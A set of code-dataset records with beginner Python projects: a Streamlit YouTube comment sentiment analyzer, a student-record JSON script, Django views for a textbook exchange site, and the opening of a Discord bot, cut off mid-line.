pd.DataFrame(columns=['Update'])\ndf_like = pd.DataFrame(columns=['Like_Count'])\ndf_comid = pd.DataFrame(columns=['Comment_ID'])\ndf_comments_original=pd.DataFrame(columns=['Comment_original'])\nif \"watch\" in url:\n    # that's a video\n    video_id = get_video_id_by_url(url)\n    params = {\n        'videoId': video_id, \n        'maxResults': 100,\n        'order': 'relevance', # default is 'time' (newest)\n    }\nelse:\n    # should be a channel\n    channel_id = get_channel_id_by_url(url)\n    params = {\n        'allThreadsRelatedToChannelId': channel_id, \n        'maxResults': 100,\n        'order': 'relevance', # default is 'time' (newest)\n    }\n# get the first 2 pages (2 API requests)\nn_pages = 50\nfor i in range(n_pages):\n    # make API call to get all comments from the channel (including posts & videos)\n    response = get_comments(youtube, **params)\n    items = response.get(\"items\")\n    # if items is empty, breakout of the loop\n    if not items:\n        break\n    for item in items:\n        comment = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"textDisplay\"]\n        #title1 = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"title\"]\n        updated_at = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"updatedAt\"]\n        like_count = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"likeCount\"]\n        comment_id = item[\"snippet\"][\"topLevelComment\"][\"id\"]\n        \n        df_comments = df_comments.append({'textOriginal': comment},ignore_index=True)\n        #df_title1 = df_title1.append({'title1': title1},ignore_index=True)\n        df_update = df_update.append({'Update': updated_at},ignore_index=True)\n        df_like = df_like.append({'Like_Count': like_count},ignore_index=True)\n        df_comid = df_comid.append({'Comment_ID': comment_id},ignore_index=True)\n        df_comments_original = df_comments_original.append({'Comment_original': comment},ignore_index=True)\n\n    if \"nextPageToken\" in response:\n        # if there is a next page\n        # add next page token to the params we pass to the function\n        params[\"pageToken\"] =  response[\"nextPageToken\"]\n    else:\n        # must be end of comments!!!!\n        break\n    print(\"*\"*70)\n\n\n\nframes = [df_comments, df_update, df_like,df_comid,df_comments_original]\ndf=pd.concat(frames,axis=1)\n\n\n\n#-----------------------------------------------------------------------------------------------------------------------\ndef smiley(a):\n    x1=a.replace(\":‑)\",\"happy\")\n    x2=x1.replace(\";)\",\"happy\")\n    x3=x2.replace(\":-}\",\"happy\")\n    x4=x3.replace(\":)\",\"happy\")\n    x5=x4.replace(\":}\",\"happy\")\n    x6=x5.replace(\"=]\",\"happy\")\n    x7=x6.replace(\"=)\",\"happy\")\n    x8=x7.replace(\":D\",\"happy\")\n    x9=x8.replace(\"xD\",\"happy\")\n    x10=x9.replace(\"XD\",\"happy\")\n    x11=x10.replace(\":‑(\",\"sad\")\n    x12=x11.replace(\":‑[\",\"sad\")\n    x13=x12.replace(\":(\",\"sad\")\n    x14=x13.replace(\"=(\",\"sad\")\n    x15=x14.replace(\"=/\",\"sad\")\n    x16=x15.replace(\":[\",\"sad\")\n    x17=x16.replace(\":{\",\"sad\")\n  \n    x18=x17.replace(\":P\",\"playful\")\n    x19=x18.replace(\"XP\",\"playful\")\n    x20=x19.replace(\"xp\",\"playful\")\n  \n    \n    x21=x20.replace(\"<3\",\"love\")\n    x22=x21.replace(\":o\",\"shock\")\n    x23=x22.replace(\":-/\",\"sad\")\n    x24=x23.replace(\":/\",\"sad\")\n    x25=x24.replace(\":|\",\"sad\")\n    return x25\ndf['emoticons_replacment']=df['textOriginal'].apply(smiley)\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndf[\"less_spaces\"]=df['emoticons_replacment'].apply(lambda x: re.sub(' +', ' ', x))\n\n\n#https://towardsdatascience.com/preprocessing-text-data-using-python-576206753c28 \n\n#df['text_expan_contractions'] = df['less_spaces'].apply(lambda x: [contractions.fix(word) for word in x.split()])\n#df['text_expan_contractions'] = [' '.join(map(str, l)) for l in df['text_expan_contractions']]\n\n#removes non alphanumeric/ whitespace characters from strings \ndf['text_misc_char_removed'] = df['less_spaces'].str.replace('&#39;','')  # just a lil something to replace the weird apostroph thing \ndf['text_misc_char_removed'] = df['text_misc_char_removed'].map(lambda x: re.sub(\"[^0-9a-zA-Z\\s]+\",'', x)) #this includes puncutation which shoes little value in analysis \n\n#removes emojis \n\ndef deEmojify(text):\n    regrex_pattern = re.compile(pattern = \"[\"\n        u\"\\U0001F600-\\U0001F64F\"  # emoticons\n        u\"\\U0001F300-\\U0001F5FF\"  # symbols & pictographs\n        u\"\\U0001F680-\\U0001F6FF\"  # transport & map symbols\n        u\"\\U0001F1E0-\\U0001F1FF\"  # flags (iOS)\n                           \"]+\", flags = re.UNICODE)\n    return regrex_pattern.sub(r'',text)\n\ndf['text_no-emoji']= df['text_misc_char_removed'].apply(lambda x:deEmojify(x)) \n\n#lower case\ndf['lower']=df['text_no-emoji'].str.lower() # lower must come before contractions since its matching based\n\n#tokenizing text into new column \ndf['text_tokenized'] = df['lower'].apply(word_tokenize)\n\n#removing stop words like 'you, he, she, in, a, has'\nstop_words = set(stopwords.words('english'))\ndf['stop_words_removed'] = df['text_tokenized'].apply(lambda x: [word for word in x if word not in stop_words])\n\n#The idea of stemming is to reduce different forms of word usage into its root word. For example, “drive”, \n#“drove”, “driving”, “driven”, “driver” are derivatives of the word “drive” and very often researchers want \n#to remove this variability from their corpus. Compared to lemmatization, stemming is certainly the less \n#complicated method but it often does not produce a dictionary-specific morphological root of the word. \n#In other words, stemming the word “pies” will often produce a root of “pi” whereas lemmatization will \n#find the morphological root of “pie”.\n\n#Lemmatization\ndf['pos_tags'] = df['text_tokenized'].apply(nltk.tag.pos_tag)\n\n\ndef get_wordnet_pos(tag):\n    if tag.startswith('J'):\n        return wordnet.ADJ\n    elif tag.startswith('V'):\n        return wordnet.VERB\n    elif tag.startswith('N'):\n        return wordnet.NOUN\n    elif tag.startswith('R'):\n        return wordnet.ADV\n    else:\n        return wordnet.NOUN\ndf['wordnet_pos'] = df['pos_tags'].apply(lambda x: [(word, get_wordnet_pos(pos_tag)) for (word, pos_tag) in x])\n\n\nwnl = WordNetLemmatizer()\ndf['lemmatized'] = df['wordnet_pos'].apply(lambda x: [wnl.lemmatize(word, tag) for word, tag in x])\n\n\n\n#converting back into string for temporary analysis \ndef listToString(s):  \n    \n    # initialize an empty string \n    str1 = \" \" \n    \n    # return string   \n    return (str1.join(s)) \n\ndf['final_text']= df['lemmatized'].apply(lambda x:listToString(x)) \n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\n#def get_comment_sentiment(comment): \n\t#''' \n\t#Function to return sentiment score of each comment\n\t#'''\n\t#analysis = TextBlob(comment) \n\t#return analysis.sentiment.polarity\n\n#sentiment = df['final_text'].apply(get_comment_sentiment)\n#df['Sentiment'] = sentiment\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\n\nanalyzer = SentimentIntensityAnalyzer()\ndf['compound'] = [analyzer.polarity_scores(x)['compound'] for x in df['final_text']]\ndf['neg'] = [analyzer.polarity_scores(x)['neg'] for x in df['final_text']]\ndf['neu'] = [analyzer.polarity_scores(x)['neu'] for x in df['final_text']]\ndf['pos'] = [analyzer.polarity_scores(x)['pos'] for x in df['final_text']]\n\n\n\n#-----------------------------------------------------------------------------------------------------------------------\n\nwith features:\n\n\tst.header('Proccessed Comments (All Comments)')\n\tst.text('Use the slider to customize how many comments you want to see in the dataframe!')\n\tx = st.slider('x')\n\tst.text('X is the number of comments that will show')\n\tst.dataframe(df.head(x))\n#-----------------------------------------------------------------------------------------------------------------------\n\nwith features:\n\n\tst.header('Proccessed Comments (Only Liked Comments)')\n\t#st.text('Use the slider to customize how many Liked comments you want to see in the dataframe!')\n\tliked_comments=df['Like_Count']>0\n\tdf_like=df[liked_comments]\n\tdf_like=df_like.sort_values(by=['Like_Count'])\n\tY= st.slider('Y')\n\tst.text('Y is the number of Liked comments that will show')\n\tst.dataframe(df_like.head(Y))\n\t\n#-----------------------------------------------------------------------------------------------------------------------\n\nfig = go.Figure()\n# Use x instead of y argument for horizontal plot\n\n\nfig.add_trace(go.Box(x=df['compound']))\nfig = px.box(df, x=\"compound\", points=\"all\",hover_data=['Comment_original'])\n\n\nfig.update_layout(\n    height=300,\n    title_text='All Comments',showlegend=False)\n\nfig.update_traces(marker=dict(size=12,\n                              line=dict(width=2,\n                                        color='Sentiment_bin')),\n                  selector=dict(mode='markers'))\n\nst.header('Opinion Visualizations ')\nst.text('Try hovering your mouse over the dots to read the original comment')\n\n\nst.plotly_chart(fig)\n\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\n\nfig1 = go.Figure()\n# Use x instead of y argument for horizontal plot\n\n\nfig1.add_trace(go.Box(x=df_like['compound']))\nfig1 = px.box(df_like, x=\"compound\", points=\"all\",hover_data=['Comment_original'])\n\n\nfig1.update_layout(\n    height=300,\n    title_text='Liked Comments',showlegend=False)\n\nfig1.update_traces(marker=dict(size=12,\n                              line=dict(width=2,color='indianred')),selector=dict(mode='markers'))\n\n#st.text('Try hovering your mouse over the dots to read the original comment')\n\n\nst.plotly_chart(fig1)\n\n#-----------------------------------------------------------------------------------------------------------------------\n#fig2 = go.Figure()\n\n#fig2.add_trace(go.Box(x=df['compound'], name='All Comments',\n                #marker_color = 'indianred',boxpoints='all',notched=True))\n#fig2.add_trace(go.Box(x=df_like['compound'], name = 'Liked Comments',\n                #marker_color = 'lightseagreen',boxpoints='all',notched=True))\n\n\n#st.plotly_chart(fig2)\n\nst.text('A boxplot is a way to show a five number summary in a chart.  The main part of the')\nst.text('chart (the “box”) shows where the middle portion of the data is: the interquartile range.')\nst.text('At the ends of the box, you” find the first quartile (the 25% mark) and the third ')\nst.text('quartile (the 75% mark). The far left of the chart (at the end of the left “whisker”) ')\nst.text(' is the minimum (the smallest number in the set) and the far right is the maximum ')\nst.text('(the largest number in the set). Finally, the median is represented by a vertical ')\nst.text('bar in the center of the box.')\nst.text('-')\nst.text('To contact the creator of this site email: ytubeminer@gmail.com')\n\n", "repo_name": "david-roberts-13/YT-Comment-Analyzer-v4", "sub_path": "streamlit_3.py", "file_name": "streamlit_3.py", "file_ext": "py", "file_size_in_byte": 18742, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "nltk.download", "line_number": 17, "usage_type": "call"}, {"api_name": "nltk.download", "line_number": 18, "usage_type": "call"}, {"api_name": "nltk.download", "line_number": 19, "usage_type": "call"}, {"api_name": "nltk.download", "line_number": 20, "usage_type": "call"}, {"api_name": "nltk.download", "line_number": 21, "usage_type": "call"}, {"api_name": "streamlit.beta_container", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit.beta_container", "line_number": 41, "usage_type": "call"}, {"api_name": "streamlit.beta_container", "line_number": 42, "usage_type": "call"}, {"api_name": "streamlit.beta_container", "line_number": 43, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 47, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 48, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.balloons", "line_number": 56, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 67, "usage_type": "call"}, {"api_name": "google.auth.transport.requests.Request", "line_number": 71, "usage_type": "call"}, {"api_name": "google_auth_oauthlib.flow.InstalledAppFlow.from_client_config", "line_number": 74, "usage_type": "call"}, {"api_name": "google_auth_oauthlib.flow.InstalledAppFlow", "line_number": 74, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 78, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.build", "line_number": 80, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 124, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 124, "usage_type": "name"}, {"api_name": "urllib.parse.parse_qs", "line_number": 126, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 126, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 140, "usage_type": "call"}, {"api_name": "re.search", "line_number": 161, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 167, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 168, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 169, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 170, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 171, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 182, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 193, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 195, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 196, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 197, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 198, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 250, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 289, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 299, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 304, "usage_type": "call"}, {"api_name": "re.UNICODE", "line_number": 309, "usage_type": "attribute"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 318, "usage_type": "argument"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 321, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 321, "usage_type": "name"}, {"api_name": "nltk.tag", "line_number": 332, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet.ADJ", "line_number": 337, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 337, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.VERB", "line_number": 339, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 339, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.NOUN", "line_number": 341, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 341, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.ADV", "line_number": 343, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 343, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.NOUN", "line_number": 345, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 345, "usage_type": "name"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 349, "usage_type": "call"}, {"api_name": "nltk.sentiment.vader.SentimentIntensityAnalyzer", "line_number": 382, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 394, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 395, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 396, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 397, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 398, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 403, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 408, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 409, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 410, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 414, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 414, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Box", "line_number": 418, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 418, "usage_type": "name"}, {"api_name": "plotly.express.box", "line_number": 419, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 419, "usage_type": "name"}, {"api_name": "streamlit.header", "line_number": 431, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 432, "usage_type": "call"}, {"api_name": "streamlit.plotly_chart", "line_number": 435, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 442, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 442, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Box", "line_number": 446, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 446, "usage_type": "name"}, {"api_name": "plotly.express.box", "line_number": 447, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 447, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 460, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 473, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 474, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 475, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 476, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 477, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 478, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 479, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 480, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 481, "usage_type": "call"}]}
{"seq_id": "32965419478", "text": "#!C:\\Users\\DaltonLaptop\\AppData\\Local\\Programs\\Python\\Python38-32\\python.exe\r\n\r\nprint(\"\")\r\nimport json\r\n\r\ndata = {}\r\ndata['students'] = []\r\ndata['students'].append({\r\n    'student_major': 'Web Development',\r\n    'student_id': '332443',\r\n    'student_gpa': '3.6',\r\n\t'student_courses': ['WDV101','WDV131', 'WDV105']\r\n})\r\ndata['students'].append({\r\n    'student_major': 'Web Development',\r\n    'student_id': '332123',\r\n    'student_gpa': '3.9',\r\n\t'student_courses': ['WDV321','WDV121', 'WDV131']\r\n})\r\ndata['students'].append({\r\n    'student_major': 'Photography',\r\n    'student_id': '331227',\r\n    'student_gpa': '3.0',\r\n\t'student_courses': ['CRS205','WDV131', 'SDV108']\r\n})\r\n\r\nwith open('students.json', 'w') as outfile:\r\n    json.dump(data, outfile)\r\n\t\r\n\r\nwith open('students.json') as json_file:\r\n    dataSend = json.dumps(data)\r\n\r\n\r\nprint((dataSend))\r\n\r\n", "repo_name": "DaltonWolford/wdv495", "sub_path": "PythonJSON/outputJSONObject.py", "file_name": "outputJSONObject.py", "file_ext": "py", "file_size_in_byte": 855, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.dump", "line_number": 28, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "21061112308", "text": "from django.contrib.auth import authenticate,login as auth_login,logout as auth_logout\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render,redirect,get_object_or_404\nfrom django.urls import reverse\nfrom django.contrib.auth.models import User\nfrom . forms import DashboardForm,UploadForm,FindForm\nfrom . models import Student,Books,Branch,Semester\nfrom django import forms\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\n\nfrom django.contrib.auth.forms import UserCreationForm\n\n# Create your views here.\n\ndef index(request):\n    # if not request.user.is_authenticated:\n    #     return render(request, \"main/signin.html\", {\"message\": None})\n    # context = {\n    #     \"user\": request.user\n    # }\n    # return render(request, \"main/index.html\", context)\n    if not request.user.is_authenticated:\n        return redirect('login')\n    context = {\n        \"user\": request.user\n    }\n    if request.user.is_authenticated:\n        return render(request,'main/index.html',context)\n\ndef login(request):\n    # email = request.POST[\"email\"]\n    # password = request.POST[\"password\"]\n    # user = authenticate(request, email=email, password=password)\n\n    # if user is not None:\n    #     login(request, user)\n    #     return HttpResponseRedirect(reverse(\"index\"))\n    # else:\n    #     return render(request, \"main/signin.html\", {\"message\": \"Invalid credentials.\"})\n    \n    return render(request,'registration/login.html')\n\ndef register(request):\n\n    if request.method == 'POST':\n        form = UserCreationForm(request.POST)\n        if form.is_valid():\n            form.save()\n            username = form.cleaned_data['username']\n            password = form.cleaned_data['password1']\n            user = authenticate(username = username, password = password)\n            auth_login(request, user)\n            return redirect('index')\n    else:\n        form = UserCreationForm()\n\n    context = {'form':form}\n    return render(request,'registration/register.html',context)\n\ndef logout(request):\n    auth_logout(request)\n    return render(request, \"registration/login.html\", {\"message\": \"Logged out.\"})\n@login_required\ndef dashboard(request):\n    user = request.user\n    if request.method == 'POST':\n        form = DashboardForm(request.POST)\n\n        if form.is_valid():\n            new_update = Student(username=user,phone=request.POST['phone'])\n            new_update.save()\n            return redirect('index')\n    else:\n\n        form = DashboardForm()\n    try:\n        student = Student.objects.get(username=user)\n        book = Books.objects.filter(upload_id=user)\n    except Exception as e:\n        student = e\n        book = e\n    context = {'form':form,'student':student,'book':book}\n    return render(request,'main/dashboard.html',context)\n@login_required\ndef findBooks(request):\n    user=request.user\n    if request.method == \"POST\":\n        form = FindForm(request.POST)\n        if form.is_valid():\n            branch = Branch.objects.get(name=form.cleaned_data['branch_name'])\n            semester = Semester.objects.get(values=form.cleaned_data['semester'])\n            result = Books.objects.filter(branch=branch,semester=semester)\n            # phone = []\n            # for i in result:\n            #     phone.append(Student.objects.get(username=i.upload_id))\n            context = {'result':result,'media_url':settings.MEDIA_URL}\n            return render(request,'main/result.html',context)\n    else:\n        form = FindForm()\n    context = {'form':form}\n    return render(request,'main/findBooks.html',context)\n@login_required\ndef upload(request):\n    user=request.user\n    if request.method == \"POST\":\n        form = UploadForm(request.POST,request.FILES)\n        if form.is_valid():\n            name = form.cleaned_data['name']\n            branch = Branch.objects.get(name=form.cleaned_data['branch_name'])\n            semester = Semester.objects.get(values=form.cleaned_data['semester'])\n            book_url = form.cleaned_data['image']\n            new_book = Books(name=name,branch=branch,semester=semester,upload_id=user,book_url=book_url)\n            new_book.save()\n            return redirect('index')\n    else:\n        form = UploadForm()\n    context = {'form':form}\n    try:\n        student = Student.objects.get(username=user)\n    except Exception as e:\n        return redirect('dashboard')\n    return render(request,'main/upload.html',context)\n\n@login_required\ndef details(request, user_id):\n    try:\n        # user = User.objects.get(pk=user_id)\n        user = get_object_or_404(User,pk=user_id)\n        student = get_object_or_404(Student,username=user)\n    except User.DoesNotExist:\n        raise Http404(\"User does not exist\")\n    context={'user':user,'student':student}\n    return render(request,'main/details.html',context)\n\ndef result(request):\n    user = request.user\n    result = Books.objects.filter(upload_id=user)\n    context = {'result':result,'media_url':settings.MEDIA_URL}\n    return render(request,'main/results.html',context)\n\ndef delete(request,book_id):\n    book = Books.objects.get(id=book_id)\n    book.delete()\n    return redirect('index')", "repo_name": "midhmanohar/Buxchange", "sub_path": "main/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.shortcuts.redirect", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 29, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 42, "usage_type": "call"}, {"api_name": "django.contrib.auth.forms.UserCreationForm", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 53, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 54, "usage_type": "call"}, {"api_name": "django.contrib.auth.forms.UserCreationForm", "line_number": 56, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 59, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 62, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 63, "usage_type": "call"}, {"api_name": "forms.DashboardForm", "line_number": 68, "usage_type": "call"}, {"api_name": "models.Student", "line_number": 71, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 73, "usage_type": "call"}, {"api_name": "forms.DashboardForm", "line_number": 76, "usage_type": "call"}, {"api_name": "models.Student.objects.get", "line_number": 78, "usage_type": "call"}, {"api_name": "models.Student.objects", "line_number": 78, "usage_type": "attribute"}, {"api_name": "models.Student", "line_number": 78, "usage_type": "name"}, {"api_name": "models.Books.objects.filter", "line_number": 79, "usage_type": "call"}, {"api_name": "models.Books.objects", "line_number": 79, "usage_type": "attribute"}, {"api_name": "models.Books", "line_number": 79, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 84, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 64, "usage_type": "name"}, {"api_name": "forms.FindForm", "line_number": 89, "usage_type": "call"}, {"api_name": "models.Branch.objects.get", "line_number": 91, "usage_type": "call"}, {"api_name": "models.Branch.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "models.Branch", "line_number": 91, "usage_type": "name"}, {"api_name": "models.Semester.objects.get", "line_number": 92, "usage_type": "call"}, {"api_name": "models.Semester.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "models.Semester", "line_number": 92, "usage_type": "name"}, {"api_name": "models.Books.objects.filter", "line_number": 93, "usage_type": "call"}, {"api_name": "models.Books.objects", "line_number": 93, "usage_type": "attribute"}, {"api_name": "models.Books", "line_number": 93, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 97, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 97, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 98, "usage_type": "call"}, {"api_name": "forms.FindForm", "line_number": 100, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 102, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 85, "usage_type": "name"}, {"api_name": "forms.UploadForm", "line_number": 107, "usage_type": "call"}, {"api_name": "models.Branch.objects.get", "line_number": 110, "usage_type": "call"}, {"api_name": "models.Branch.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "models.Branch", "line_number": 110, "usage_type": "name"}, {"api_name": "models.Semester.objects.get", "line_number": 111, "usage_type": "call"}, {"api_name": "models.Semester.objects", "line_number": 111, "usage_type": "attribute"}, {"api_name": "models.Semester", "line_number": 111, "usage_type": "name"}, {"api_name": "models.Books", "line_number": 113, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 115, "usage_type": "call"}, {"api_name": "forms.UploadForm", "line_number": 117, "usage_type": "call"}, {"api_name": "models.Student.objects.get", "line_number": 120, "usage_type": "call"}, {"api_name": "models.Student.objects", "line_number": 120, "usage_type": "attribute"}, {"api_name": "models.Student", "line_number": 120, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 122, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 123, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 103, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 129, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 129, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 130, "usage_type": "call"}, {"api_name": "models.Student", "line_number": 130, "usage_type": "argument"}, {"api_name": "django.contrib.auth.models.User.DoesNotExist", "line_number": 131, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 131, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 134, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 125, "usage_type": "name"}, {"api_name": "models.Books.objects.filter", "line_number": 138, "usage_type": "call"}, {"api_name": "models.Books.objects", "line_number": 138, "usage_type": "attribute"}, {"api_name": "models.Books", "line_number": 138, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 139, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 139, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 140, "usage_type": "call"}, {"api_name": "models.Books.objects.get", "line_number": 143, "usage_type": "call"}, {"api_name": "models.Books.objects", "line_number": 143, "usage_type": "attribute"}, {"api_name": "models.Books", "line_number": 143, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 145, "usage_type": "call"}]}
{"seq_id": "20594227915", "text": "\nimport discord\nfrom discord.ext import commands\nfrom keep_alive import keep_alive\nimport os\nimport replit\n\n\ndef get_prefix(bot, message):\n\n    prefixes = ['.']    # sets the prefixes, u can keep it as an array of only 1 item if you need only one prefix\n\n    if not message.guild:\n        prefixes = ['==']   # Only allow '==' as a prefix when in DMs\n\n    # Allow users to @mention the bot instead of using a prefix when using a command.\n    return commands.when_mentioned_or(*prefixes)(bot, message)\n\n\nbot = commands.Bot(                                         \n    # Create a new bot\n    command_prefix=get_prefix,                              # Set the prefix\n    description='A bot used for tutorial',                  # Set a description for the bot\n    owner_id=374886124126208000,                            # Your unique User ID\n    case_insensitive=True                                   # Make the commands case insensitive\n)\n\n# case_insensitive=True is used as the commands are case sensitive by default\n\ncogs = ['cogs.basic','cogs.embed']\n\n\n#@bot.event\n#async def on_ready():\n#    replit.clear()\n#    print(f'Logged in as {bot.user.name} - {bot.user.id}')\n#    bot.remove_command('help')\n#    # Removes the help command\n#    # Make sure to do this before loading the cogs\n#    for cog in cogs:\n#        bot.load_extension(cog)\n#    return\n\n@bot.event\nasync def on_ready():\n replit.clear()\n print(f'Logged in as {bot.user.name} - {bot.user.id}')\n bot.remove_command('help')\n for filename in os.listdir('./cogs'):\n    if filename.endswith('.py'):\n        cog = f'cogs.{filename[:-3]}'\n        bot.load_extension(cog)   \n\n@bot.command()\nasync def load(ctx, extension):\n    bot.load_extension(f'cogs.{extension}')\n    await ctx.send('done')\n\n@bot.command()\nasync def unload(ctx, extension):\n    bot.unload_extension(f'cogs.{extension}')\n    await ctx.send('done')\n\n\n@bot.command()\nasync def reload(ctx, extension):\n    bot.unload_extension(f'cogs.{extension}')\n    bot.load_extension(f'cogs.{extension}')\n    await ctx.send('done')\n\n# if any error happens this event will be trigerd\n@bot.event\nasync def on_command_error(ctx, error):\n    if isinstance(error, 